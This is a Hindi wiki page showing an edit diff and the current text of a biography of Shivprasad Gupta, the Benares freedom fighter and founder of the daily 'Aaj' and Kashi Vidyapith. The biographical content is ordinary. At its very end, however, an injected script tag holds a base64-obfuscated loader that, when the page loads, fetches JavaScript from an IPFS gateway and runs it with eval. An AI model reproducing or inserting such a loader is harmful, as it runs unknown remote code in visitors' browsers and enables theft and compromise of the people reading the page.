"शिवप्रसाद गुप्त": अवतरणों में अंतर
No edit summary |
|||
(2 सदस्यों द्वारा किए गए बीच के 9 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 1: | पंक्ति 1: | ||
{{सूचना बक्सा स्वतन्त्रता सेनानी | |||
'''शिवप्रसाद गुप्त''' [[हिन्दी]] [[समाचार पत्र]] '[[दैनिक आज]]' के संस्थापक | |चित्र=Shivprasad-gupta.jpg | ||
== | |चित्र का नाम=शिवप्रसाद गुप्त | ||
|पूरा नाम=शिवप्रसाद गुप्त | |||
|अन्य नाम= | |||
|जन्म=[[28 जून]], [[1883]] | |||
|जन्म भूमि=[[बनारस]], [[उत्तर प्रदेश]] | |||
|मृत्यु=[[24 अप्रैल]], [[1944]] | |||
|मृत्यु स्थान= | |||
|मृत्यु कारण= | |||
|अभिभावक= | |||
|पति/पत्नी= | |||
|संतान= | |||
|स्मारक= | |||
|क़ब्र= | |||
|नागरिकता=भारतीय | |||
|प्रसिद्धि=स्वतंत्रता सेनानी व पत्रकार | |||
|धर्म= | |||
|आंदोलन= | |||
|जेल यात्रा=शिवप्रसाद गुप्त अपनी राष्ट्रवादी गतिविधियों के कारण अनेक बार जेल गये। | |||
|कार्य काल= | |||
|विद्यालय=[[इलाहाबाद विश्वविद्यालय]] | |||
|शिक्षा=स्नातक | |||
|पुरस्कार-उपाधि= | |||
|विशेष योगदान= | |||
|संबंधित लेख= | |||
|शीर्षक 1= | |||
|पाठ 1= | |||
|शीर्षक 2= | |||
|पाठ 2= | |||
|अन्य जानकारी=शिवप्रसाद गुप्त '[[काशी विद्यापीठ]]' के संस्थापक थे। इन्होंने [[बनारस]] में 'भारत माता मन्दिर' का भी निर्माण करवाया था। | |||
|बाहरी कड़ियाँ= | |||
|अद्यतन= | |||
}} | |||
'''शिवप्रसाद गुप्त''' ([[अंग्रेज़ी]]: ''Shivprasad Gupta'', जन्म- [[28 जून]], [[1883]], [[बनारस]], [[उत्तर प्रदेश]]; मृत्यु- [[24 अप्रैल]], [[1944]]) [[हिन्दी]] के [[समाचार पत्र]] '[[दैनिक आज]]' के संस्थापक थे। देश की स्वतंत्रता के लिए संघर्ष करने वाले क्रांतिकारियों को इनका समर्थन प्राप्त था। अपनी राष्ट्रवादी गतिविधियों के लिए भी शिवप्रसाद गुप्त ने कई बार जेल की सजा काटी। ये '[[काशी विद्यापीठ]]' के संस्थापक थे। बनारस में '[[भारत माता मन्दिर, वाराणसी|भारत माता मन्दिर]]' का निर्माण भी इन्होंने करवाया था। | |||
==जन्म तथा शिक्षा== | |||
शिवप्रसाद गुप्त का जन्म [[बनारस]], [[उत्तर प्रदेश]] के एक समृद्ध [[वैश्य]] [[परिवार]] में 28 जून, 1883 को हुआ था। उन्होंने [[संस्कृत]], [[फ़ारसी भाषा|फ़ारसी]] और [[हिन्दी]] का अध्ययन घर पर ही किया था। उन्होंने [[इलाहाबाद]] से स्नात्तक की परीक्षा उत्तीर्ण की थी। | |||
====राष्ट्रवादी==== | |||
[[पण्डित मदन मोहन मालवीय]], [[लाला लाजपत राय]], [[महात्मा गांधी]], [[आचार्य नरेन्द्र देव]] तथा [[डॉ. भगवान दास]] से शिवप्रसाद गुप्त अत्यन्त प्रभावित थे। क्रांतिकारियों को भी इनका सहयोग प्राप्त था। वे अपनी राष्ट्रवादी गतिविधियों के कारण अनेक बार जेल भी गये।<ref>{{cite web |url=http://www.kranti1857.org/uttarpradesh%20krantikari.php#abdul%20bari|title=उत्तर प्रदेश के क्रांतिकारी|accessmonthday= 18 अगस्त|accessyear= 2013|last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref> | |||
==महत्त्वपूर्ण कार्य== | |||
गुप्त जी ने '[[आज दैनिक पत्र|आज]]' नाम से एक राष्ट्रवादी दैनिक पत्र निकाला था। बाबू शिवप्रसाद गुप्त ने 'आज' द्वारा हिन्दी पत्रकारिता, [[हिन्दी]] की लेखनी और हिन्दी की वाणी को राष्ट्रीय अस्मिता से जोड़ा तथा उसे मुक्ति का सन्देशवाहक बनाया। हिन्दी में श्रेष्ठ [[साहित्य]] रचना को बल देने के लिए उन्होंने 'ज्ञानमण्डल' की स्थापना [[1918]] ई. में की। भारतीय अस्मिता के प्रतीक 'भारत माता मन्दिर' और '[[काशी विद्यापीठ]]' की स्थापना द्वारा शिवप्रसाद गुप्त ने अपनी दानवीरता को ऐतिहासिक बनाया था। [[अंग्रेज़ी]] के 'दैनिक टुडे', 'मर्यादा', 'स्वार्थ' आदि पत्र पत्रिकाओं से जनमानस को उन्नत बनाने में उनकी भूमिका स्तुत्य है। [[मिस्र]], [[इंग्लैण्ड]], आयरलैण्ड, [[अमेरिका]], [[जापान]], कोरिया, [[चीन]], सिंगापुर आदि राष्ट्रों की यात्रा करने वाले गुप्त जी [[स्वतंत्रता संग्राम आंदोलन|स्वतंत्रता संग्राम]] के सेनानी तथा रहनुमा थे।<ref>{{cite web |url=http://books.google.co.in/books?id=dAetJVevGM4C&pg=PA454&lpg=PA454&dq=%E0%A4%B6%E0%A4%BF%E0%A4%B5%E0%A4%AA%E0%A5%8D%E0%A4%B0%E0%A4%B8%E0%A4%BE%E0%A4%A6+%E0%A4%97%E0%A5%81%E0%A4%AA%E0%A5%8D%E0%A4%A4&source=bl&ots=nqsfH3MQMY&sig=vQAayDDSrRMZsKmLpDctiFEcNy4&hl=hi&sa=X&ei=kL0QUoOELcPqrAfsoYC4Aw&ved=0CGIQ6AEwDA#v=onepage&q=%E0%A4%B6%E0%A4%BF%E0%A4%B5%E0%A4%AA%E0%A5%8D%E0%A4%B0%E0%A4%B8%E0%A4%BE%E0%A4%A6%20%E0%A4%97%E0%A5%81%E0%A4%AA%E0%A5%8D%E0%A4%A4&f=false|title=राष्ट्ररत्न बाबू शिवप्रसाद गुप्त|accessmonthday=18 अगस्त|accessyear=2013|last= |first= |authorlink= |format= |publisher= |language=हिन्दी}}</ref> | |||
====मृत्यु==== | |||
राष्ट्रीय शिक्षा की अनूठी परिकल्पना वाले शिवप्रसाद गुप्त [[1941]] तक [[भारत]] की निस्वार्थ सेवा करते रहे। [[वर्ष]] [[1944]] में इनका निधन हो गया। [[हिन्दी]] [[पत्रकारिता]] को परिपुष्ट करने और उसे [[अंग्रेज़ी]] के समकक्ष बैठाने में इनकी तपस्या अविस्मरणीय है। | |||
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }} | {{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }} | ||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> | ||
==संबंधित लेख== | ==संबंधित लेख== | ||
{{पत्रकार}} | {{स्वतन्त्रता सेनानी}}{{पत्रकार}} | ||
[[Category:पत्रकार]][[Category: | [[Category:स्वतन्त्रता सेनानी]][[Category:पत्रकार]][[Category:प्रसिद्ध व्यक्तित्व]][[Category:इतिहास कोश]][[Category:समाज कोश]][[Category:चरित कोश]][[Category:प्रसिद्ध व्यक्तित्व कोश]] | ||
__INDEX__ | __INDEX__ | ||
__NOTOC__ | __NOTOC__ |
05:36, 28 जून 2018 के समय का अवतरण
शिवप्रसाद गुप्त
| |
पूरा नाम | शिवप्रसाद गुप्त |
जन्म | 28 जून, 1883 |
जन्म भूमि | बनारस, उत्तर प्रदेश |
मृत्यु | 24 अप्रैल, 1944 |
नागरिकता | भारतीय |
प्रसिद्धि | स्वतंत्रता सेनानी व पत्रकार |
जेल यात्रा | शिवप्रसाद गुप्त अपनी राष्ट्रवादी गतिविधियों के कारण अनेक बार जेल गये। |
विद्यालय | इलाहाबाद विश्वविद्यालय |
शिक्षा | स्नातक |
अन्य जानकारी | शिवप्रसाद गुप्त 'काशी विद्यापीठ' के संस्थापक थे। इन्होंने बनारस में 'भारत माता मन्दिर' का भी निर्माण करवाया था। |
शिवप्रसाद गुप्त (अंग्रेज़ी: Shivprasad Gupta, जन्म- 28 जून, 1883, बनारस, उत्तर प्रदेश; मृत्यु- 24 अप्रैल, 1944) हिन्दी के समाचार पत्र 'दैनिक आज' के संस्थापक थे। देश की स्वतंत्रता के लिए संघर्ष करने वाले क्रांतिकारियों को इनका समर्थन प्राप्त था। अपनी राष्ट्रवादी गतिविधियों के लिए भी शिवप्रसाद गुप्त ने कई बार जेल की सजा काटी। ये 'काशी विद्यापीठ' के संस्थापक थे। बनारस में 'भारत माता मन्दिर' का निर्माण भी इन्होंने करवाया था।
जन्म तथा शिक्षा
शिवप्रसाद गुप्त का जन्म बनारस, उत्तर प्रदेश के एक समृद्ध वैश्य परिवार में 28 जून, 1883 को हुआ था। उन्होंने संस्कृत, फ़ारसी और हिन्दी का अध्ययन घर पर ही किया था। उन्होंने इलाहाबाद से स्नात्तक की परीक्षा उत्तीर्ण की थी।
राष्ट्रवादी
पण्डित मदन मोहन मालवीय, लाला लाजपत राय, महात्मा गांधी, आचार्य नरेन्द्र देव तथा डॉ. भगवान दास से शिवप्रसाद गुप्त अत्यन्त प्रभावित थे। क्रांतिकारियों को भी इनका सहयोग प्राप्त था। वे अपनी राष्ट्रवादी गतिविधियों के कारण अनेक बार जेल भी गये।[1]
महत्त्वपूर्ण कार्य
गुप्त जी ने 'आज' नाम से एक राष्ट्रवादी दैनिक पत्र निकाला था। बाबू शिवप्रसाद गुप्त ने 'आज' द्वारा हिन्दी पत्रकारिता, हिन्दी की लेखनी और हिन्दी की वाणी को राष्ट्रीय अस्मिता से जोड़ा तथा उसे मुक्ति का सन्देशवाहक बनाया। हिन्दी में श्रेष्ठ साहित्य रचना को बल देने के लिए उन्होंने 'ज्ञानमण्डल' की स्थापना 1918 ई. में की। भारतीय अस्मिता के प्रतीक 'भारत माता मन्दिर' और 'काशी विद्यापीठ' की स्थापना द्वारा शिवप्रसाद गुप्त ने अपनी दानवीरता को ऐतिहासिक बनाया था। अंग्रेज़ी के 'दैनिक टुडे', 'मर्यादा', 'स्वार्थ' आदि पत्र पत्रिकाओं से जनमानस को उन्नत बनाने में उनकी भूमिका स्तुत्य है। मिस्र, इंग्लैण्ड, आयरलैण्ड, अमेरिका, जापान, कोरिया, चीन, सिंगापुर आदि राष्ट्रों की यात्रा करने वाले गुप्त जी स्वतंत्रता संग्राम के सेनानी तथा रहनुमा थे।[2]
मृत्यु
राष्ट्रीय शिक्षा की अनूठी परिकल्पना वाले शिवप्रसाद गुप्त 1941 तक भारत की निस्वार्थ सेवा करते रहे। वर्ष 1944 में इनका निधन हो गया। हिन्दी पत्रकारिता को परिपुष्ट करने और उसे अंग्रेज़ी के समकक्ष बैठाने में इनकी तपस्या अविस्मरणीय है।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ उत्तर प्रदेश के क्रांतिकारी (हिन्दी)। । अभिगमन तिथि: 18 अगस्त, 2013।
- ↑ राष्ट्ररत्न बाबू शिवप्रसाद गुप्त (हिन्दी)। । अभिगमन तिथि: 18 अगस्त, 2013।
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>